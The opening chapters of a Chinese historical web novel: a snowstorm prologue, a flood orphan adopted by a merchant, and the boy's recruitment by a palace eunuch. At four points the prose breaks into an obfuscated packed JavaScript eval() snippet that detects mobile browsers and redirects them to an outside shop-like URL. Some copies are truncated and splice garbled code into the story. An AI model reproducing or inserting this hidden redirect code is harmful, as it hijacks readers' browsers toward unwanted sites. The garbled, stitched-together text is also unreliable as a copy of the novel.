《风雪淬刃》 1. 楔子 雪山之巅,山色一线,天地茫茫一片雪,万物静寂,连山脚下的猎户都不会选择在这个季节上山打猎,却有一人一剑独自行走在雪山间,风声呼啸,山里的雪很大,像是要把人压塌一样,不要命的下,那人很快就看不清前方的景物。 可偏偏那人不信邪似的,非要顶着风雪往山上走。 他不甘心,他不想就这么死。 只要一想到护着他的那些贴身侍卫在前夜被雪崩永远埋葬在雪山上。 想到自己大仇未报,他的家族还未沉冤昭雪;想到仇敌还在雪山下等着他,他就甘心这么籍籍无名,不明不白地像路边上的野狗一样死去。 青年身形瘦削,脊背却像青竹节般挺拔,如一把收鞘的刀。他的身后留下一连串的脚印,那些脚印又很快被大雪淹没,前途未卜,来时路已毁。 雪还在下,他用沉重的脑袋想,天黑前一定找到山洞躲避,等大雪过去,否则他今天就算不被冻死,也会被山中雪狼吃掉。 他尽量把脑袋埋进皮毛大氅里,企图获取一丝温暖,可……没用,零下几十度的气温,把他浑身的血液都冻住了……连呼出的气都是冷的。 手指已被冻僵,眼睫毛,眉毛都被雪染白了。 刀剑下的伤口早已冻住,可只要身体一动,伤口就又崩裂开,血液暴露在空气中,而下一瞬又会被迅速冰冻上。 浑身又痛又痒,如被万蚁噬身,滋味非常不好受,可青年显然已经麻木了。 他只机械式的抬起腿,迈步向前,像上好的发条重复着动作。 然后,“咚”地一声栽倒在地。 良久,青年是被噩梦惊醒,他又梦到了杀声震天,尘土飞扬的战场,一颗颗流血头颅飞起又落下…… 随之而来的还有极度饥饿,可他的头昏昏沉沉的,身体沉重地连动一下都像扯筋拆骨似的疼,眼前猩红一片,使他看不清前方。 噩梦让青年分不清现实和虚幻,他还以为自己又身处在战场上。 他要剑! 他要杀敌! 青年刚摸到手中剑,旁边立马有人惊喜出声:“你终于醒了,我还以为你……” “噗呲”是利刃刺入皮肉的声音,多年征战沙场的经历,让青年的身体反应被脑袋快一步行动。 惊喜的声音戛然而止,少年惊愕地看着青年,似是不敢相信。 等青年看清眼前,回想起的一切后,他脸上的错愕不比少年少。 这少年不是追杀他的官兵! 他是谁? 他为什么在这里?! “你不是中原人?” 因为过于惊讶,嗓音还带着点颤抖。 异族少年却笑了,明明被无故捅了一剑,可他不但没有生气,面对青年的问题,竟还有闲心调侃。他用撇脚的中原话:“美人你这一剑扎得真准,一下子就戳中了我的心脏,这下连医治都医不了了。” 异族少年虽穿着朴素,可容貌佚丽,一双红色异瞳,妖治无比,一笑就让天地失色。 可青年现在根本没心情去欣赏这幅美景,他看着干燥的洞窟和旁边升起的火堆:“你救了我?” 异族少年并不否认,反而歪着头,好奇:“是啊,我是看你长得好看才救的你,可没想到美人你一见面就捅我,我们是有什么深仇大恨吗?” 青年不答:“……” 中原和周边蛮夷部落有上百年的恩怨,可他没有恨到对一个无辜孩子下杀手。 是他误杀了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517612|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异族少年是个话多的,见青年不答,还笑道:“阿库常说色字头上一把刀,此话有理,我今天是体会到了。只是美人你也忒不讲理,上来就杀我,你们中原人都是这么报答你们的救命恩人的吗?” 青年听着少年的絮絮叨叨,反问:“我伤了你,你不恨我?” 异族少年又冲他一笑:“美人这么好看,我当然不恨你,而且……” 异族少年似是再也支撑不住,身子晃了晃,歪了下去,青年反应迅速,立马侧身扶住他倒下的躯体,少年的血流不完似的,不停淌,青年第一次觉得一个人怎么能流那么多血。 他能感受到少年身体的温度正随着鲜血流失,那血流进了他怀里,手上,烫得青年手指都忍不住勾了勾。 “而且美人你杀了我,就没人带你走出去了,你很快就会被困死在雪山的,所以美人你也太……冲动了。而且这一剑捅得我好疼,像是要把我的心挖出来一样。” 说到最后竟有丝丝的委屈。 青年抱紧少年的身体,半生征战沙场,被朝堂诡谲计谋算计地早就没了心肝的人,在听到少年这声哀叹竟难得有了一丝心软,他沉声道:“今生是我对你不住……” 他望向大雪满天的洞外,清俊的脸第一次露出些许疯狂来,他知道老天这是不想让他活,只是他万万没想到,自己死前竟会有异族人相救:“所以,来世必还!” 少年原本闭上的眼睛,动了动,胸前用黑绳串起来的漂亮狼牙滑落了出来:“那美人告诉我你姓什么?我下辈子去找你……” “我赵郡李氏……” “好,那我……” 狂风呼号,忽地一下,火堆熄灭,洞里瞬间暗下来,万物重归寂静…… 2. 黄河 “发水了,发洪水了!” “大伙快跑啊!” “别管你那金装细软了,快逃吧!” “孩子,我的孩子,你知道我的孩子在哪儿吗?我找不到他啊!” 宣德三年,黄河决堤,这场大水来得迅猛,几个县的县令毫无准备,一夜之间就冲毁了周边十几个村庄,带走了上千条命,造成了数万人无家可归。 朝邑县胆小的县尉闻言此事吓得连滚带爬地从美娇娘的床上滚下来,连夜写好了辞呈上交,准备告老还乡。 幸好这朝邑县的县令还有点脑子,立马撕了好友的辞呈,表示现在最重要的是安抚好剩下的流民,搭棚施粥送药,一是防止流民暴乱,二是防止瘟疫滋生。 差点被吓破胆的县尉一听有施救的办法,也不耽搁,立刻实施,非常积极,还总是冲锋在第一线,生怕别人看不见他的为国为民。 这其实是在正常不过的黄河决堤案,几乎每朝每代都会发生,只要控制好百姓,不要发生动乱,事后再上奏请朝廷拨款重建,把该走的流程都走完,就没事了。 可这次朝廷却震怒,派监察御史去查清事实始末,势必要揪出点什么东西来。 这下好了,把这胆小的县尉吓得直接连续卧病在床三个月,头顶冷巾,被烧得迷迷糊糊,还不忘说我不做这县尉了,我要还乡! 怎么哄劝都不管用,县令气坏了,一边唾弃好友不靠谱的行为,一边又要找其他几个兴平县县令,云阳县县令等商量对策。 所以这监察御史查来查去,也没查出个什么来,最终却只提交出个:这次黄河决堤是因为几位民工不满朝廷发放的工钱,所以在做工时偷工减料,把这些材料运回家偷卖换钱,这才造成了此次惨案。 真是大逆不道,胆大包天,为表圣怒,那几位民工甚至都没有被运回京受审,而是直接就地处斩。 这案件就这么结了。 监察御史回京,那些县尉老爷又回到了享清福的日子里。 某一处被淹最严重的村庄,树倒屋踏,万亩良田被毁,只有几个幸存下来的人们呆滞地坐在屋门前,就这么看着亲人的骸骨被挂在枝干上,破旧不堪的衣服甚至遮挡不住关键部位。 一只只的鸦停留在无人认领的尸体上,在一声声哀嚎悲泣下,吃着上天恩赐的美食。 突然一队商旅行至,见此村惨象,都忍不住哀叹。 此景,何其悲苦。 走在最前面,头戴幞头,看着像领头的中年男人又让随侍仆从把一些吃食分给那些难民。 老仆从知道自家老爷心善,也不多说拿起一些肉干,馕饼就分给这些人。 反正他们二三十人中都会点拳脚功夫,个个身强体壮,不怕他们来劫车。 此举引起大家竞相哄抢,一些老幼妇孺力气小没抢到的就只能祈求着:“老爷,好心的老爷再给点吧。” “我家孩子已经很几天没吃饭了,他就要饿死了。” 可如今世道艰难,光凭他们这点粮食终究是填不满这些人的肚子,中年男人也无法,只能摇头,表示自己无能为力。 刚抬脚要走,就察觉到自己的衣角被什么东西拽住,男人低头一看,是个小儿。 那衣衫褴褛的小儿面黄肌瘦,双颊凹陷,头发枯黄一看就是长期的营养不良,可那双黑溜溜的大眼睛却透着对生的渴望。 男人看着这瘦膊胳瘦腿的小儿,笑道:“抱歉小孩,我这也没有吃的了,你午时去官府搭的施粥棚要吧,如果去得早说不定还能捞到点稠的吃。” 话是这么说,但男人很清楚,那些贪官污吏怕是早把赈灾粮收进自己的口袋了,就算去了运气好点的,能从一堆沙石里捞出点米粥,运气坏的就只能吃土。 小儿显然也知道,所以他还是用脏兮兮的手死死地抓着商人的衣摆,不动。 老仆从见此当即就要吼斥驱赶,却被男人拦住,他耐心道:“你的家人呢?” “死……死了,可我要……活,我阿娘让我活下……所以你能收留我吗?我会干活,吃得也不多,求你了。” 男人看了一眼还在旁边徘徊着不肯离去的人群,心中犹豫。 他虽有救济之心,可也懂什么叫量力而行,若是看到一个可怜儿便收留一个,那他们干脆也甭做生意了,改成救济堂算了。 可直接拒绝又于心不忍,男人默了一下,拍了拍小孩的头:“好,不过我有一个条件,就是你要跟着我们走百里,走过百里后还能跟上我们就带你走。不仅带你走,我还可以认你当我的义子,怎么样?” 一人走百里? 这明显是让小儿知难而退。 一个饥饿多日的成年人都不一定能跟上膘肥马壮,常年行走各个地方的商旅,更何况还是个稚子。 可能走不过百里就会半路死在不知名的野草旁,而留在这儿还有一线生机。 人在被逼至绝路前是不会主动冒险的。 可商人后面的条件对小儿来说太诱人了。 只要走过百里,那他就不用再忍饥挨饿了,他就能活下去了! 小儿想都都没想就答应了:“好,只要我走过百里你就收我为义子!” 男人似乎没想到小儿能答应下来,愣了下,才点头:“一言为定。” 说着男人挥起马鞭,一下抽在马屁上,马被抽得嘶吼一声,抬起马蹄,拖着后面沉重的货物慢慢向前走。 小儿向前走了两步,又倏地转头看向身后破败不堪的村庄,他们或坐或跪在田埂上,或者亲人的尸体旁,脸上是前几日被洪水淹没后的绝望与对未来的迷茫。 小儿握紧拳头,低声道了一句:“阿爹阿娘……” 后面那半句“我走了”是怎么也无法说出口的,但他只在原地停留了一会儿,就非常果断地跟在旁边默默地走。 因为他答应过阿娘,他一定会活下来的! 一开始小儿还能跟上,可人力比不上马力,再加上小儿还没吃的,渐渐就落了很远。 远到众人要眺目远望才能看见那个小黑点。 正当众人都觉得这小儿是放弃了,回去了,或者就这么饿死了时。 这小儿就又会神不知鬼不觉地出现在他们身后,默默地低头走着。 他们一行人走得不是官道,而是“野路”,行路难,时不时还要钻进林子里,所以他们家里娘子或者父母都会给他们准备合脚的鞋子,以免脚被磨破。 可这孩子连个草编鞋都没有,就这么赤着脚走,走得血肉模糊,也不吭声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517613|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不喊累,不耍赖,不哭。 就这么走着。 走了二三十里路后,有几个铁血大汉看着跟在后面瘦弱无比的小孩,都动了恻隐之心,但他们都知道当家的是个说一不二的人,所以也没人敢去劝说。 只是看小儿跟不上了,就默默让马放缓脚步,要么就耍赖说自己累了饿了渴了要坐下休息,这中间还偷偷给小儿喂点吃的喝的,别到时候真的死在路上。 而小儿不是个小古板,知道他们的好意,给吃的就吃,给喝的就喝,给休息就在一旁休息,真就这么跟了他们一路。 直到走过百里…… 其中一个大汉爽朗的声音,迫不及待开口了:“老大,这小儿真的跟了我们百里,你之前答应说要认小儿当义子的,你可不能说话不算话啊,我们这几个弟兄都替你记着呢!” 其他人立即附和着:“是啊,是啊……” 中年男人摸了把络腮胡,笑笑:“小孩,如果你不怨我让你走了那么远的路,就跪下给我磕一个响头,叫我一声义父吧。” 小儿就是在等着此刻,因此毫不犹豫,磕了三个响头,脆生生地叫出出了声:“义父好!” 中年男人被这一声义父喊的很高兴,笑得眼睛都眯了起来,把小儿抱了起来,还颠了颠,才放到马车上:“哎,好儿子!以后就跟着义父,义父必不让你受欺负。” “杨老二拿上最好的金疮药给我儿子敷上!” 杨老二也很开心,毕竟这小儿小小年纪就有这股子掘劲,还有其他小孩没有的果断与勇气,长大了指定是个人物!如果他大哥不收他就收了。 杨老二乐呵地去车上翻找药,还不忘调侃一下自家大哥:“刚刚还狠心对这小儿爱塔不理的,怎么现在就喊了你一声义父就宝贝上了?” 男人被调侃也不恼,低头问小儿:“你现在几岁了?家里排行老几?可有姓名?” “我九岁,家里排行老三,他们都叫我李三儿。” 男人再问:“你家里真的没人了吗?” 这问话成功让李三儿的眼眶红了起来,他却无比倔强地把泪水憋了回去,就这么看着男人:“没人了,洪水把他们都带走了……所以就只剩我一个人了。” 不知谁感叹了一句:“可怜的娃。” 男人也有些心疼,揉了揉李三儿的脑袋:“我姓顾,我叫顾宏之,既然你是我儿子,那现在你跟我姓,你就叫顾子行,怎么样?” 其实改姓迁居是大事,不但需要经过村里宗族长辈认可,还要去官府户籍登记处登记。 可这村庄被淹,哪里还能找出个能作主的长辈;再说因突发洪水,上百人死亡或失踪,官府小吏现在忙得焦头烂额,怕是连现在户口在册的人都弄不清…… 索性那些商人不讲究这些,李三儿年纪小更不懂这些,只知道自己只要改姓就能活下来。 当即跳下车,不顾脚上还有伤就跪下:“多谢义父给我起名。” 顾之行这小子年纪虽然小,但很上道,也很聪明,顾宏之很是欣慰满意,又对其他人嘱咐了几句要好好照看一下顾之行。 其他人很欣然纷纷答应。 商旅又在原地休整了一会儿,就出发了。 他们的目的地是——蕃西之地。 3. 宦官 阎都,长街上,沿途叫卖的商贩络绎不绝,坊市里偶尔还有几名异族商人在交易着珠宝,香料,马匹等。 因武宗在位时期政治开明,商业发展异常繁华,甚至连女子都可以抛头露面在街上游玩。 此繁荣景象竟持续了百年之久,现今宣宗继位,多处政策皆沿用祖制,如今这景象倒是比先帝在位期间还有点落魄。 路边一茶水铺,老板用竹木搭架,覆以草席而临时搭建的棚子里,此刻正坐着几位粗布茶客。 他们喝着没滋没味的粗茶,口中却谈论着“国事”:“哎,你听说了吗?那些羌胡人又来进犯我朝了,在沙州一夜之间屠戮了好几个村庄,连尚在襁褓之中的婴儿都不放过,真的一点不把我们大梁放在眼里!难不成还想在尝尝三十年前的败仗!” 对比黑衫男子对大梁军队的自信,另一名青衫男人显然有更多的顾虑:“也不知道这一仗能不能打赢。” 黑衫男子大手一拍桌,反驳:“怎么不可能?有褚元帅坐镇,不提那二十万的守城军,还有燕山十六营的精锐铁骑在,他们一人拿着那重达百斤的兽面环羽铁盾都能把那群蛮夷给砸死!” 这一举动引来了很多人的注意,不过大梁并不限制民众的言论,所以这也没引起什么骚动。 青衫男子了解好友这一说就爆的脾气,也没太在意,但还是坚持说出了自己的看法:“英雄迟暮,褚将军已经老了,而他的后代又都是碌碌无为之辈,不堪大任,否则你觉得胡羌为什么要在这时候进攻我朝?这是在试探啊。” 黑衫男子被这话噎了一下,想说什么话来反驳,却又想不出什么,最后只道:“我们大梁人才众多,难道就再也找不出第二个褚元帅了?” 这话无人敢答,青衫男人沉默着拿起桌上的茶。 黑衫男子也意识到什么,没什么意思似的叹了下,不再谈这些糟心事了,他冲里面喊道:“老板,我们方才要的肉饼呢?怎么现在还没上来?” “抱歉,让两位客官久等了。” 听到呼喊,老板迈着小步伐就冲了出来,但就算如此手里的盘子却依然很稳,他先是非常熟稔的赔礼道歉,再把两人要的肉饼端上来,一气呵成。 黑衫男子吃了一口,眼睛突然瞥见一群胡商,眼中尽是鄙夷不屑,还有身为大梁人的优越感,他略微仰了仰头:“这群没有开化的野蛮人,心是真他妈的黑,要我说当年就应该直接把他们杀的一干二净,永除后患!” 青衫男子不动声色地皱眉,似是不太认同,但最终也没说什么。 两人因要赶路,肉饼又上晚了,他们只能匆匆吃了几口,剩下的…… 黑衫男子注意到角落里趴着的大黑狗,起了逗弄之心,他口中换着小狗,手里的肉饼抛了又抛,等小狗注意到时,随意地把肉饼往路中央一抛,一道黑影如离弦之箭飞快地从黑衫男子面前飞过,于此同时另一道速度更快的飞影也扑了过去。 两道身影很快缠斗起来,这番动静很快吸引了路过的百姓,他们以黑狗为中心,慢慢围了起来,时不时还发出一阵阵唏嘘之声。 黑衫男子见此场景表情瞬间变得玩味起来,还带着探究的意味,他嘴角勾起:“有趣,有趣,子渊你看那小孩儿竟在和野狗抢食吃。” 冯士钦向后转去,在层层人群中目光精准地锁定了在地上打成一团的一人一狗。 那半大少年看样子不过十三四岁,蓬头垢面,乞丐打扮,满身满脸都是在地上滚动的灰尘,看不清样貌,只是那双眼清亮无比,眸中又透出异常的执拗与狠绝。 小少年是真的饿极了,他骑在狗身上,一拳又一拳地砸向野狗的脑袋,单手强硬地掰开狗嘴,在狗口下夺食后,没有丝毫犹豫就把还剩下半块,裹着沙土与碎石子的肉饼往嘴里塞。 而少年另一只手臂一直垂下,似乎是受了伤,无法动弹。 野狗也是饿了多日,好不容易有口吃的,还被人抢了去,护食的本能让野狗呲牙咧嘴地低吼,它摆脱少年的钳制并摆出攻击的状态,一串串口水挂在嘴边,显然是把少年当成了入侵者。 路人看呆了,竟无一人上前去帮忙。 这是难得的好戏啊! “乞丐和狗抢食”这一幕在阎都可不多见,比在街上整日表演胸口碎大石的杂耍好看多了。 再说,阎都虽繁华,可凡是都有两面,有繁荣昌盛之景就有阴暗沟渠之地,那地方藏着的都是阴沟里见不得光的老鼠。 平时被禁军十六卫里负责巡街的金吾卫震慑,倒是不敢在光天化日之下干坏事。 但大部分都看不起这些人,因此此刻也无人想去伸手帮忙。 野狗直接飞扑过来,小少年原本想侧身闪躲,但他刚刚夺食已经耗费大量体力,此刻猛然站起,眼前一黑,身体一晃,终究还是没能躲过攻击,虽然避开了要害,但野狗还是一口咬住了他那只完好的手臂上。 狗的尖牙直插进血肉里,鲜红的血液顺着手臂流淌落在地上,野狗犹不满足还在撕咬着,誓要把少年咬下一块皮肉。 小少年的眼神瞬间转狠,他挥舞着手臂似乎想要把野狗甩下去,可这个畜生一根筋,一旦咬住了什么东西除非把它打死了,否则它是轻易不会松口的。 小少年忍着剧痛,拼着废掉一条胳膊的风险,直接伸手掐住狗的脖子,张嘴一口咬在了狗子的颈部! 也要将这狗咬死。 众人被少年的狠辣所震惊,爆发出不可思议的声音,随后就是纷纷叫好,还有打赌到底是小少年撑不住先松口,还是野狗先松口。 冯士钦见流血了,下意识站起来想要去阻拦,却被黑衫男子拦住了,他看着热闹随口道:“你干嘛去?不会要救那孩子吧?你一个手无缚鸡之力的书生去了又能怎么样?别过去了。” 冯士钦平日里脾气很好,此刻到是动怒了:“你明知道那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517614|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子一直在旁边眼巴巴地盯着,为什么要引他和野狗抢食?。” 黑衫男子一时语塞:“我……” 这边两人正争执着,旁边又传来一阵骚乱声,两队腰间佩戴横刀的禁军将民众分散到两边,让出一条道路。 一个六人抬的轿撵慢悠悠地停下来,轿撵很平常,从外面看不出什么来,但能得禁卫军在旁护卫,这轿撵里定是宫中的某位贵人。 一时民众都不敢吱声了,生怕自己一个不小心就得罪这位贵人。 冯士钦皱眉看着轿撵,最终还是没动。 轿撵里的人掀开轿帘,对着在轿旁随侍的小宦官说了几句话,就放下了轿帘。 小宦官点头哈腰,一副谄媚的姿态,可来到小少年面前却又换了一副模样,他微微抬头,拿鼻孔对着人,把狐假虎威之势拿捏得炉火纯青,他夹子嗓音喊道:“少监问你叫什么名字?为什么要在这里挡大家的路?” 小宦官的声音太尖细了,听起来像尖锐之物划破瓷碗的声音,非常刺耳。 小少年没动,鲜血流了少年满身,让人分不清是狗的血还是人的血,或者都有,它们混合在一起,一样的下贱肮脏。 以至于他们都像是怕脏了自己的手似的,袖手旁观,毕竟天下里每时每刻死亡的乞丐那么多,他们总不能都要去救吧。 小少年在确认野狗真的被自己咬死了,才慢慢松口,鲜血顺着他的嘴角流下,他年纪虽小,但也看出眼前人不能随便得罪,于是老老实实答道:“我叫顾之行,因为我太饿了所以才……” 后面的话……少年咬紧牙关,后知后觉的羞耻感让他怎么都说不出口。 索性小宦官也不在意这个,他们在二楼酒楼里已经目睹了全过程,自然知道怎么回事,而且他们还知道这小少年有些功夫底子在,再加上手段狠戾,才被他们看上。 这小少年天生是个当暗卫的料! 他再问:“你今年几岁了?你家中人呢?不管你吗?怎么跑到街上来了?” 这纯属废话,如果有家人,怎么会沦落到和野狗抢食! 顾之行听了却一阵恍惚,这番话是如此的熟悉,四年前就有一个人这样问他,他答了。 然后那个姓顾的就带他走了,说不会让他再饿肚子。 他又有家人了,有了待他亲厚的养父,二伯,三叔…… 思绪一转,他似乎又看见了三个月前的那场大火,那场大火太大了,大到粉碎了他的美梦。 那夜火光漫天,空气中灼热的气流扑面而来,闷得人喘不过气来。 他到现在都还记得,火光把养父的脸熏得通红,脸上是他从未见过的严肃,他像往常一样拍了拍他的肩膀,对他说:“之行,活下去,无论如何都要活下去,只要活下去才会有希望!” 说完不管顾之行的叫喊就直接把他堆进了寺庙的地窖里,为防止他偷跑出来,还搬了个巨石压在上面。 4. 少监 而从那夜过后,他又失去家人了…… 他是从另一个方向徒手刨土出来的,他刨了大半宿,刨到指甲脱落,满手都是指甲缝里渗出的血,才从坑里爬出来。 可来不及了,顾之行只能看着已烧成废墟的寺庙,满目仓皇,无能无力。 大火把什么东西都烧了个干净,他连他们完整的尸首都找不到,只能给他们在废墟边上立一个衣冠冢。 小宦官见顾之行不答话,眉头微蹙,顿时不耐烦起来了,指着他呵斥着:“喂,问你话呢?是哑巴了还是聋了?怎么不回答,知道这轿子里坐着是谁吗?” 这声呵斥成功让顾之行回了神,他不知又想到了什么,哈哈地笑了起来,现在的少年还不会隐藏自己的情绪。一笑,就露出牙齿,在口中血色映衬下愈发森白。 不似人间少年郎,到是地狱里爬出的恶鬼,让人不寒而栗。 小宦官大概也没能见过这种人,竟一时被唬住,没再呵斥。 顾之行把死狗丢在一边,表情说不上是悲伤还是高兴:“我的家人都死了,他们死于一场不知名的大火……” 小宦官了然地点头,不甚在意的样子,这天底下不幸的人多了去了,也不独有他一个。 现在这世道每时每刻都有人饿死。 如果这少年刚刚就这么被野狗咬死了,或者饿死了,也没人觉得可惜。 这就是命。 不过这少年用能力证明了自己和其他乞丐,甚至和这条野狗都不一样,那就等于有了可以活下去的能力和价值。 “既然如此,你要跟我们走吗?” 顾之行的视线在小宦官后面的轿子巡视了一下,半响:“给饭吗?” 小宦官轻蔑地笑了笑,大概看不上顾之行就这点出息,但还是回答了:“给,不仅给饭吃,每月还有例银拿,如果你同意就跟在轿子后面走吧。” 轿撵被抬起来了,在禁军护卫下向宫门走去,顾之行跟在后面,血还在顺着手臂流淌,他感觉不到疼似的,没用任何止血的手段,就任它淌。 血一滴一滴地落在地上,开出朵朵鲜艳的花,仿若他的去时路。 闹剧结束,路人都纷纷散了,各自忙各自的事。 只有冯士钦还在原地注视着远去的禁军,心生感慨,那少年少时便能看出狠绝,如今又被那些宦官阉狗收了去,不知前路如何。 * 宫殿巍峨,琉璃瓦在秋日的阳光下泛着冷冽的金光,宦官不能走正门,只能从北门进出皇宫,轿撵在宫门前停下,小宦官拿出证明身份的金鱼符给守在皇宫门前的禁军。 轿撵里的人也终于下来了,那人身材匀称,穿着常服,分不清官级,但禁军见到他后却是笑脸相迎:“张少监,又出宫给圣上办事啊?” 张少监细长的眼睛在那人身上停留了一下,依然是笑着,口中说出的话却毫不留情:“怎么?你这是在帮谁打听圣上的私事?” 那值班的守卫没想到自己的笑脸贴上了冷屁股,表情一愣,在接触到张内侍不咸不谈的笑意后,才意识到自己说错话了。 闻言立马掌嘴,赔笑着表忠心,把卑躬屈膝的姿态拿捏得死死的:“看小人这张嘴,真是……小人自己掌嘴,是小人多嘴了,张少监莫怪……不过少监这话可真是冤死小人了,万死也洗不清自己的罪,我们都是为圣上办事,怎么可能做对不起圣上的事啊。” 张少监神色肃穆,明明是宦官,倒是比这些军爷还威风些:“那就好,所以平时管住自己的嘴,别没事就瞎打听知道吗?” 当今皇帝宠信宦官,远离朝臣,宦官权利日渐壮大,张少监是殿中省少监,从四品上,负责圣上的衣食住行等事物,张少监又因做事机敏妥帖,深受圣上的喜爱,虽暂时没有升为内侍监,但张少监不过而立之年,以后升迁之途定会更上一层。 如今禁军虽多为贵族子弟,但也少不了要多巴结一下张少监。 张少监现在的斥责让这年轻的禁军不敢多言,只道:“是,张少监教训得是。” 表情更加恭敬,连张少监身后的顾之行都不敢盘问了,生怕真的犯了什么忌讳。 顾之行跟随在身后,就这么顺利的通过了,那些禁军甚至连眼神都没有在他身上停留,好似看不见那满身的血污和狼狈。 夕阳西斜,把天边的云染成了火红色,时辰到了,宫门要关闭,寺人三声高呼:“下钥啰!” 接着长一尺,饰以翟,重达千斤的木质门闩“宫门钥”被放下,落锁①。 投入冰冷汉白玉石阶的最后一丝光线因宫门关闭而彻底消失,顾之行猛地回头,似乎意识到有什么东西在此刻发生了变化,他上前跨出一步,似是反悔要跑,却又硬生生地停住了。 顾之行仰头就撞见一道冰冷的眼神,那人笑着却又不像笑:“怎么?后悔了?想出去?” 顾之行不回不避:“不,只是我家人都葬在外面,我还没告诉他们我要走了。” 张少监侧目盯着顾之行,神情难辨:“你是我带的人,所以我自然有责任要教你一些规矩,这其中最重要的就是两个字——忠君!” 忠君?这话从宦官口中说出,如果被朝中那些自诩清流的官员听了定会鄙夷不屑,一个没了根的东西,;一个只会媚上欺下,进献谗言的腌臜玩意,竟在谈论“忠君”二字? 真是荒唐可笑。 可这里谁也没笑。 张少监脚步很轻,脚踏在白玉石阶上没有一点声响:“像我们这种人,全部身家都是系与主子一人身上,主子哭我们哭,主子笑我们便笑,所以我们与主子是荣辱与共的。” “往后你就要收掉你自己不该生出的杂念,你既然选择了这条路,那以前的人就和你没了什么关系……你只要时刻记住只有把主子伺候好了,我们才好知道吗?” 话音刚落,刚刚的小宦官就推了顾之行一下,催促:“祖宗教你规矩呢,这可是你的福气,还不快跪下磕头谢恩!” 顾之行被推得上前一步,可他不是蒙头吃亏的主,他望向小宦官:“你也听了,那你是不是也要跪下来磕头谢恩?” “你……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517615|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张少监神色有些不耐,抬手示意两人不要再争辩:“我不过提点了几句,往后怎么样,是靠你们自己走出来的,所以不用多礼,只需记住我那两个字就行。” 小宦官惯会看别人脸色,见此便老老实实地站在一旁,低眉顺眼:“祖宗说的是。” 朱红宫墙高逾三丈,内廷的甬道逼仄,两侧红墙高耸得几乎倾塌。 顾之行不懂,他长那么大,虽一直跟着义父走南闯北,却没学过孔孟圣贤之道,也没读过那些腐朽酸文,义父不指望他入仕当官,所以他只学了如何看账本。 他是第一次听到“忠君”二字。 却是由一个阉人口中说出。 但不知是摄于张少监的冰冷神色还是其他,他终究记住了那两个字。 宣德七年,顾之行的伤被宫中太医包扎好后,就被送进了训练营。 同年十月,羌胡如黑衫男子所言采取“消耗战略”袭击抢掠沙洲周边的村落。 十几人为一个小队进行轮番骚扰,打成目的后并不过多停留,直接撤退。 一时之间守城军也拿他们毫无办法,仅半月有余就有数十座村庄遭遇烧杀掠夺,造成数百人伤亡,财产损失更是不计其数。 同月,褚元帅命多名军士假扮百姓在各地守株待兔,再让几支小队对羌胡必经之路上的沙地上进行埋伏,等羌胡撤退之时,形成前后包抄之势,打得羌胡措手不及,羌胡几队人马几乎被全部歼灭,自此羌胡对周边村庄的骚扰才算收敛。 * 顾之行的训练营生活简单又单调,除了训练还是训练。 总教官对他们很严格,动辄打骂,责罚,一个不如意,大冬天都会让他们举着装满水的水盆,脱光衣服站在雪地里,饿着肚子训练更是常有的事。 美名其曰,锻炼他们的意志。 顾之行在几乎堪称地狱的训练营里渡过了第一个新年。 天寒地冻,昨夜落大雪,庭院里半死不活的枯树终于还是被压踏了,满院萧索。 长廊,一个穿着素色大棉衣的瘦子怀里揣着个什么东西,迈着小碎步往厢房里跑,刚一推门就看见顾之行在屋里,神情一僵,却又迅速恢复原来的表情,他把门扉关上,搓着手:“呼呼,这天真是冻死人了,老大,外廊结冰了,你等下出去可要小心点,别想大志那样,一不小心就摔了个屁股蹲。” 小孩子总喜欢扎堆玩,顾之行比他们年纪都大,识字又会点武功,自然而然就成了他们队伍里的老大。 他收起木剑,往门边看去,少年脊背挺得异常笔直,足足比瘦子高了一个头,没了当初满身尘土和血的狼狈,此刻的他看上去如院中雪,明亮,纯净,白皙的皮肤因天冷而微微泛红。 顾之行点头,把剑放在桌上,看着小杜翻箱倒柜,从角落一堆杂物的最下面翻找出一个方方正正的木盒子。 又小心翼翼地把东西从怀里拿出来放进盒子里,把杂物整理好后,才松了一口气。 顾之行看着他那一系列的动作,问道:“你这怀里揣着的是什么?” 5. 初见 